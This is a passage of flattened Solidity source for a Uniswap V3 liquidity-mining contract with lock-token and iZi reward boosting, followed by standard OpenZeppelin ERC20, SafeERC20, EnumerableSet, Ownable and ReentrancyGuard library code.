sqrtPriceX96 sqrtprice value viewed from uniswap pool /// @param uniAmount amount of uniToken user deposits /// or amount computed corresponding to deposited uniswap NFT /// @return lockAmount amount of lockToken function _getLockAmount(uint160 sqrtPriceX96, uint256 uniAmount) private view returns (uint256 lockAmount) { // uniAmount is less than Q96, checked before uint256 precision = FixedPoints.Q96; uint256 sqrtPriceXP = sqrtPriceX96; // if price > 1, we discard the useless precision if (sqrtPriceX96 > FixedPoints.Q96) { precision = FixedPoints.Q32; // sqrtPriceXP <= Q96 after >> operation sqrtPriceXP = (sqrtPriceXP >> 64); } // priceXP <= Q160 if price >= 1 // priceXP <= Q96 if price < 1 uint256 priceXP = (sqrtPriceXP * sqrtPriceXP) / precision; if (priceXP > 0) { if (uniToken < lockToken) { // price is lockToken / uniToken lockAmount = (uniAmount * priceXP) / precision; } else { lockAmount = (uniAmount * precision) / priceXP; } } else { // in this case sqrtPriceXP <= Q48, precision = Q96 if (uniToken < lockToken) { // price is lockToken / uniToken // lockAmount = uniAmount * sqrtPriceXP * sqrtPriceXP / precision / precision; // the above expression will always get 0 lockAmount = 0; } else { lockAmount = uniAmount * precision / sqrtPriceXP / sqrtPriceXP; // lockAmount is always < Q128, since sqrtPriceXP > Q32 // we still add the require statement to double check require(lockAmount < FixedPoints.Q160, "TOO MUCH LOCK"); lockAmount *= precision; } } require(lockAmount > 0, "LOCK 0"); } /// @notice new a token status when touched. function _newTokenStatus(TokenStatus memory newTokenStatus) internal { tokenStatus[newTokenStatus.nftId] = newTokenStatus; TokenStatus storage t = tokenStatus[newTokenStatus.nftId]; t.lastTouchBlock = lastTouchBlock; t.lastTouchAccRewardPerShare = new uint256[](rewardInfosLen); for (uint256 i = 0; i < rewardInfosLen; i++) { t.lastTouchAccRewardPerShare[i] = rewardInfos[i].accRewardPerShare; } } /// @notice update a token status when touched function _updateTokenStatus( uint256 tokenId, uint256 validVLiquidity, uint256 nIZI ) internal { TokenStatus storage t = tokenStatus[tokenId]; // when not boost, validVL == vL t.validVLiquidity = validVLiquidity; t.nIZI = nIZI; t.lastTouchBlock = lastTouchBlock; for (uint256 i = 0; i < rewardInfosLen; i++) { t.lastTouchAccRewardPerShare[i] = rewardInfos[i].accRewardPerShare; } } /// @notice Update reward variables to be up-to-date. function _updateVLiquidity(uint256 vLiquidity, bool isAdd) internal { if (isAdd) { totalVLiquidity = totalVLiquidity + vLiquidity; } else { totalVLiquidity = totalVLiquidity - vLiquidity; } // max lockBoostMultiplier is 3 require(totalVLiquidity <= FixedPoints.Q128 * 3, "TOO MUCH LIQUIDITY STAKED"); } function _updateNIZI(uint256 nIZI, bool isAdd) internal { if (isAdd) { totalNIZI = totalNIZI + nIZI; } else { totalNIZI = totalNIZI - nIZI; } } /// @notice Update the global status. function _updateGlobalStatus() internal { if (block.number <= lastTouchBlock) { return; } if (lastTouchBlock >= endBlock) { return; } uint256 currBlockNumber = Math.min(block.number, endBlock); if (totalVLiquidity == 0) { lastTouchBlock = currBlockNumber; return; } for (uint256 i = 0; i < rewardInfosLen; i++) { // tokenReward < 2^25 * 2^64 * 2*10, 15 years, 1000 r/block uint256 tokenReward = (currBlockNumber - lastTouchBlock) * rewardInfos[i].rewardPerBlock; // tokenReward * Q128 < 2^(25 + 64 + 10 + 128) rewardInfos[i].accRewardPerShare = rewardInfos[i].accRewardPerShare + ((tokenReward * FixedPoints.Q128) / totalVLiquidity); } lastTouchBlock = currBlockNumber; } function _computeValidVLiquidity(uint256 vLiquidity, uint256 nIZI) internal view returns (uint256) { if (totalNIZI == 0) { return vLiquidity; } uint256 iziVLiquidity = (vLiquidity * 4 + (totalVLiquidity * nIZI * 6) / totalNIZI) / 10; return Math.min(iziVLiquidity, vLiquidity); } /// @dev get sqrtPrice of pool(uniToken/tokenSwap/fee) /// and compute tick range converted from [TICK_MIN, PriceUni] or [PriceUni, TICK_MAX] /// @return sqrtPriceX96 current sqrtprice value viewed from uniswap pool, is a 96-bit fixed point number /// note this value might mean price of lockToken/uniToken (if uniToken < lockToken) /// or price of uniToken / lockToken (if uniToken > lockToken) /// @return tickLeft /// @return tickRight function _getPriceAndTickRange() private view returns ( uint160 sqrtPriceX96, int24 tickLeft, int24 tickRight ) { (int24 avgTick, uint160 avgSqrtPriceX96, int24 currTick, ) = swapPool .getAvgTickPriceWithin2Hour(); int24 tickSpacing = IUniswapV3Factory(uniFactory).feeAmountTickSpacing( rewardPool.fee ); if (uniToken < lockToken) { // price is lockToken / uniToken // uniToken is X tickLeft = Math.max(currTick + 1, avgTick); tickRight = TICK_MAX; tickLeft = Math.tickUpper(tickLeft, tickSpacing); tickRight = Math.tickUpper(tickRight, tickSpacing); } else { // price is uniToken / lockToken // uniToken is Y tickRight = Math.min(currTick, avgTick); tickLeft = TICK_MIN; tickLeft = Math.tickFloor(tickLeft, tickSpacing); tickRight = Math.tickFloor(tickRight, tickSpacing); } require(tickLeft < tickRight, "L<R"); sqrtPriceX96 = avgSqrtPriceX96; } function getOraclePrice() external view returns ( int24 avgTick, uint160 avgSqrtPriceX96 ) { (avgTick, avgSqrtPriceX96, , ) = swapPool.getAvgTickPriceWithin2Hour(); } // fill INonfungiblePositionManager.MintParams struct to call INonfungiblePositionManager.mint(...) function _mintUniswapParam( uint256 uniAmount, int24 tickLeft, int24 tickRight, uint256 deadline ) private view returns (INonfungiblePositionManager.MintParams memory params) { params.fee = rewardPool.fee; params.tickLower = tickLeft; params.tickUpper = tickRight; params.deadline = deadline; params.recipient = address(this); if (uniToken < lockToken) { params.token0 = uniToken; params.token1 = lockToken; params.amount0Desired = uniAmount; params.amount1Desired = 0; params.amount0Min = 1; params.amount1Min = 0; } else { params.token0 = lockToken; params.token1 = uniToken; params.amount0Desired = 0; params.amount1Desired = uniAmount; params.amount0Min = 0; params.amount1Min = 1; } } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, "STE"); } function depositWithuniToken( uint256 uniAmount, uint256 numIZI, uint256 deadline ) external payable nonReentrant { require(uniAmount >= 1e7, "TOKENUNI AMOUNT TOO SMALL"); require(uniAmount < FixedPoints.Q96 / 3, "TOKENUNI AMOUNT TOO LARGE"); if (uniIsETH) { require(msg.value >= uniAmount, "ETHER INSUFFICIENT"); } else { IERC20(uniToken).safeTransferFrom( msg.sender, address(this), uniAmount ); } ( uint160 sqrtPriceX96, int24 tickLeft, int24 tickRight ) = _getPriceAndTickRange(); TokenStatus memory newTokenStatus; INonfungiblePositionManager.MintParams memory uniParams = _mintUniswapParam( uniAmount, tickLeft, tickRight, deadline ); uint256 actualAmountUni; if (uniToken < lockToken) { ( newTokenStatus.nftId, newTokenStatus.uniLiquidity, actualAmountUni, ) = INonfungiblePositionManager(uniV3NFTManager).mint{ value: msg.value }(uniParams); } else { ( newTokenStatus.nftId, newTokenStatus.uniLiquidity, , actualAmountUni ) = INonfungiblePositionManager(uniV3NFTManager).mint{ value: msg.value }(uniParams); } // mark owners and append to list owners[newTokenStatus.nftId] = msg.sender; bool res = tokenIds[msg.sender].add(newTokenStatus.nftId); require(res); if (actualAmountUni < uniAmount) { if (uniIsETH) { // refund uniToken // from uniswap to this INonfungiblePositionManager(uniV3NFTManager).refundETH(); // from this to msg.sender if (address(this).balance > 0) safeTransferETH(msg.sender, address(this).balance); } else { // refund uniToken IERC20(uniToken).safeTransfer( msg.sender, uniAmount - actualAmountUni ); } } _updateGlobalStatus(); newTokenStatus.vLiquidity = actualAmountUni * lockBoostMultiplier; newTokenStatus.lockAmount = _getLockAmount( sqrtPriceX96, newTokenStatus.vLiquidity ); // make vLiquidity lower newTokenStatus.vLiquidity = newTokenStatus.vLiquidity / 1e6; IERC20(lockToken).safeTransferFrom( msg.sender, address(this), newTokenStatus.lockAmount ); totalLock += newTokenStatus.lockAmount; _updateVLiquidity(newTokenStatus.vLiquidity, true); newTokenStatus.nIZI = numIZI; if (address(iziToken) == address(0)) { // boost is not enabled newTokenStatus.nIZI = 0; } _updateNIZI(newTokenStatus.nIZI, true); newTokenStatus.validVLiquidity = _computeValidVLiquidity( newTokenStatus.vLiquidity, newTokenStatus.nIZI ); require(newTokenStatus.nIZI < FixedPoints.Q128 / 6, "NIZI O"); _newTokenStatus(newTokenStatus); if (newTokenStatus.nIZI > 0) { // lock izi in this contract iziToken.safeTransferFrom( msg.sender, address(this), newTokenStatus.nIZI ); } emit Deposit(msg.sender, newTokenStatus.nftId, newTokenStatus.nIZI); } function _withdrawUniswapParam( uint256 uniPositionID, uint128 liquidity, uint256 deadline ) private pure returns ( INonfungiblePositionManager.DecreaseLiquidityParams memory params ) { params.tokenId = uniPositionID; params.liquidity = liquidity; params.amount0Min = 0; params.amount1Min = 0; params.deadline = deadline; } /// @notice deposit iZi to an nft token /// @param tokenId nft already deposited /// @param deltaNIZI amount of izi to deposit function depositIZI(uint256 tokenId, uint256 deltaNIZI) external nonReentrant { require(owners[tokenId] == msg.sender, "NOT OWNER or NOT EXIST"); require(address(iziToken) != address(0), "NOT BOOST"); require(deltaNIZI > 0, "DEPOSIT IZI MUST BE POSITIVE"); _collectReward(tokenId); TokenStatus memory t = tokenStatus[tokenId]; _updateNIZI(deltaNIZI, true); uint256 nIZI = t.nIZI + deltaNIZI; // update validVLiquidity uint256 validVLiquidity = _computeValidVLiquidity(t.vLiquidity, nIZI); _updateTokenStatus(tokenId, validVLiquidity, nIZI); // transfer iZi from user iziToken.safeTransferFrom(msg.sender, address(this), deltaNIZI); } // fill INonfungiblePositionManager.CollectParams struct to call INonfungiblePositionManager.collect(...) function _collectUniswapParam(uint256 uniPositionID, address recipient) private pure returns (INonfungiblePositionManager.CollectParams memory params) { params.tokenId = uniPositionID; params.recipient = recipient; params.amount0Max = 0xffffffffffffffffffffffffffffffff; params.amount1Max = 0xffffffffffffffffffffffffffffffff; } /// @notice Widthdraw a single position. /// @param tokenId The related position id. /// @param noReward true if use want to withdraw without reward function withdraw(uint256 tokenId, bool noReward) external nonReentrant { require(owners[tokenId] == msg.sender, "NOT OWNER OR NOT EXIST"); if (noReward) { _updateGlobalStatus(); } else { _collectReward(tokenId); } TokenStatus storage t = tokenStatus[tokenId]; _updateVLiquidity(t.vLiquidity, false); if (t.nIZI > 0) { _updateNIZI(t.nIZI, false); // refund iZi to user iziToken.safeTransfer(msg.sender, t.nIZI); } if (t.lockAmount > 0) { // refund lockToken to user IERC20(lockToken).safeTransfer(msg.sender, t.lockAmount); totalLock -= t.lockAmount; } INonfungiblePositionManager(uniV3NFTManager).decreaseLiquidity( _withdrawUniswapParam(tokenId, t.uniLiquidity, type(uint256).max) ); if (!uniIsETH) { INonfungiblePositionManager(uniV3NFTManager).collect( _collectUniswapParam(tokenId, msg.sender) ); } else { (uint256 amount0, uint256 amount1) = INonfungiblePositionManager( uniV3NFTManager ).collect( _collectUniswapParam( tokenId, address(this) ) ); (uint256 amountUni, uint256 amountLock) = (uniToken < lockToken)? (amount0, amount1) : (amount1, amount0); if (amountLock > 0) { IERC20(lockToken).safeTransfer(msg.sender, amountLock); } if (amountUni > 0) { IWETH9(uniToken).withdraw(amountUni); safeTransferETH(msg.sender, amountUni); } } owners[tokenId] = address(0); bool res = tokenIds[msg.sender].remove(tokenId); require(res); emit Withdraw(msg.sender, tokenId); } /// @notice Collect pending reward for a single position. /// @param tokenId The related position id. function _collectReward(uint256 tokenId) internal { TokenStatus memory t = tokenStatus[tokenId]; _updateGlobalStatus(); for (uint256 i = 0; i < rewardInfosLen; i++) { // multiplied by Q128 before uint256 _reward = (t.validVLiquidity * (rewardInfos[i].accRewardPerShare - t.lastTouchAccRewardPerShare[i])) / FixedPoints.Q128; if (_reward > 0) { IERC20(rewardInfos[i].rewardToken).safeTransferFrom( rewardInfos[i].provider, msg.sender, _reward ); } emit CollectReward( msg.sender, tokenId, rewardInfos[i].rewardToken, _reward ); } // update validVLiquidity uint256 validVLiquidity = _computeValidVLiquidity(t.vLiquidity, t.nIZI); _updateTokenStatus(tokenId, validVLiquidity, t.nIZI); } /// @notice Collect pending reward for a single position. /// @param tokenId The related position id. function collect(uint256 tokenId) external nonReentrant { require(owners[tokenId] == msg.sender, "NOT OWNER or NOT EXIST"); _collectReward(tokenId); INonfungiblePositionManager.CollectParams memory params = _collectUniswapParam(tokenId, msg.sender); // collect swap fee from uniswap INonfungiblePositionManager(uniV3NFTManager).collect(params); } /// @notice Collect all pending rewards. function collectAllTokens() external nonReentrant { EnumerableSet.UintSet storage ids = tokenIds[msg.sender]; for (uint256 i = 0; i < ids.length(); i++) { require(owners[ids.at(i)] == msg.sender, "NOT OWNER"); _collectReward(ids.at(i)); INonfungiblePositionManager.CollectParams memory params = _collectUniswapParam(ids.at(i), msg.sender); // collect swap fee from uniswap INonfungiblePositionManager(uniV3NFTManager).collect(params); } } /// @notice View function to get position ids staked here for an user. /// @param _user The related address. function getTokenIds(address _user) external view returns (uint256[] memory) { EnumerableSet.UintSet storage ids = tokenIds[_user]; // push could not be used in memory array // we set the tokenIdList into a fixed-length array rather than dynamic uint256[] memory tokenIdList = new uint256[](ids.length()); for (uint256 i = 0; i < ids.length(); i++) { tokenIdList[i] = ids.at(i); } return tokenIdList; } /// @notice Return reward multiplier over the given _from to _to block. /// @param _from The start block. /// @param _to The end block. function _getRewardBlockNum(uint256 _from, uint256 _to) internal view returns (uint256) { if (_from > _to) { return 0; } if (_to <= endBlock) { return _to - _from; } else if (_from >= endBlock) { return 0; } else { return endBlock - _from; } } /// @notice View function to see pending Reward for a single position. /// @param tokenId The related position id. function pendingReward(uint256 tokenId) public view returns (uint256[] memory) { TokenStatus memory t = tokenStatus[tokenId]; uint256[] memory _reward = new uint256[](rewardInfosLen); for (uint256 i = 0; i < rewardInfosLen; i++) { uint256 tokenReward = _getRewardBlockNum( lastTouchBlock, block.number ) * rewardInfos[i].rewardPerBlock; uint256 rewardPerShare = rewardInfos[i].accRewardPerShare + (tokenReward * FixedPoints.Q128) / totalVLiquidity; // l * (currentAcc - lastAcc) _reward[i] = (t.validVLiquidity * (rewardPerShare - t.lastTouchAccRewardPerShare[i])) / FixedPoints.Q128; } return _reward; } /// @notice View function to see pending Rewards for an address. /// @param _user The related address. function pendingRewards(address _user) external view returns (uint256[] memory) { uint256[] memory _reward = new uint256[](rewardInfosLen); for (uint256 j = 0; j < rewardInfosLen; j++) { _reward[j] = 0; } for (uint256 i = 0; i < tokenIds[_user].length(); i++) { uint256[] memory r = pendingReward(tokenIds[_user].at(i)); for (uint256 j = 0; j < rewardInfosLen; j++) { _reward[j] += r[j]; } } return _reward; } // Control fuctions for the contract owner and operators. /// @notice If something goes wrong, we can send back user's nft and locked assets /// @param tokenId The related position id. function emergenceWithdraw(uint256 tokenId) external onlyOwner { address owner = owners[tokenId]; require(owner != address(0)); INonfungiblePositionManager(uniV3NFTManager).safeTransferFrom( address(this), owner, tokenId ); TokenStatus storage t = tokenStatus[tokenId]; if (t.nIZI > 0) { // we should ensure nft refund to user // omit the case when transfer() returns false unexpectedly iziToken.transfer(owner, t.nIZI); } if (t.lockAmount > 0) { // we should ensure nft refund to user // omit the case when transfer() returns false unexpectedly IERC20(lockToken).transfer(owner, t.lockAmount); } // makesure user cannot withdraw/depositIZI or collect reward on this nft owners[tokenId] = address(0); } /// @notice Set new reward end block. /// @param _endBlock New end block. function modifyEndBlock(uint256 _endBlock) external onlyOwner { require(_endBlock > block.number, "OUT OF DATE"); _updateGlobalStatus(); // jump if origin endBlock < block.number lastTouchBlock = block.number; endBlock = _endBlock; emit ModifyEndBlock(endBlock); } /// @notice Set new reward per block. /// @param rewardIdx which rewardInfo to modify /// @param _rewardPerBlock new reward per block function modifyRewardPerBlock(uint256 rewardIdx, uint256 _rewardPerBlock) external onlyOwner { require(rewardIdx < rewardInfosLen, "OUT OF REWARD INFO RANGE"); _updateGlobalStatus(); rewardInfos[rewardIdx].rewardPerBlock = _rewardPerBlock; emit ModifyRewardPerBlock( rewardInfos[rewardIdx].rewardToken, _rewardPerBlock ); } /// @notice Set new reward provider. /// @param rewardIdx which rewardInfo to modify /// @param provider New provider function modifyProvider(uint256 rewardIdx, address provider) external onlyOwner { require(rewardIdx < rewardInfosLen, "OUT OF REWARD INFO RANGE"); rewardInfos[rewardIdx].provider = provider; emit ModifyProvider(rewardInfos[rewardIdx].rewardToken, provider); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * 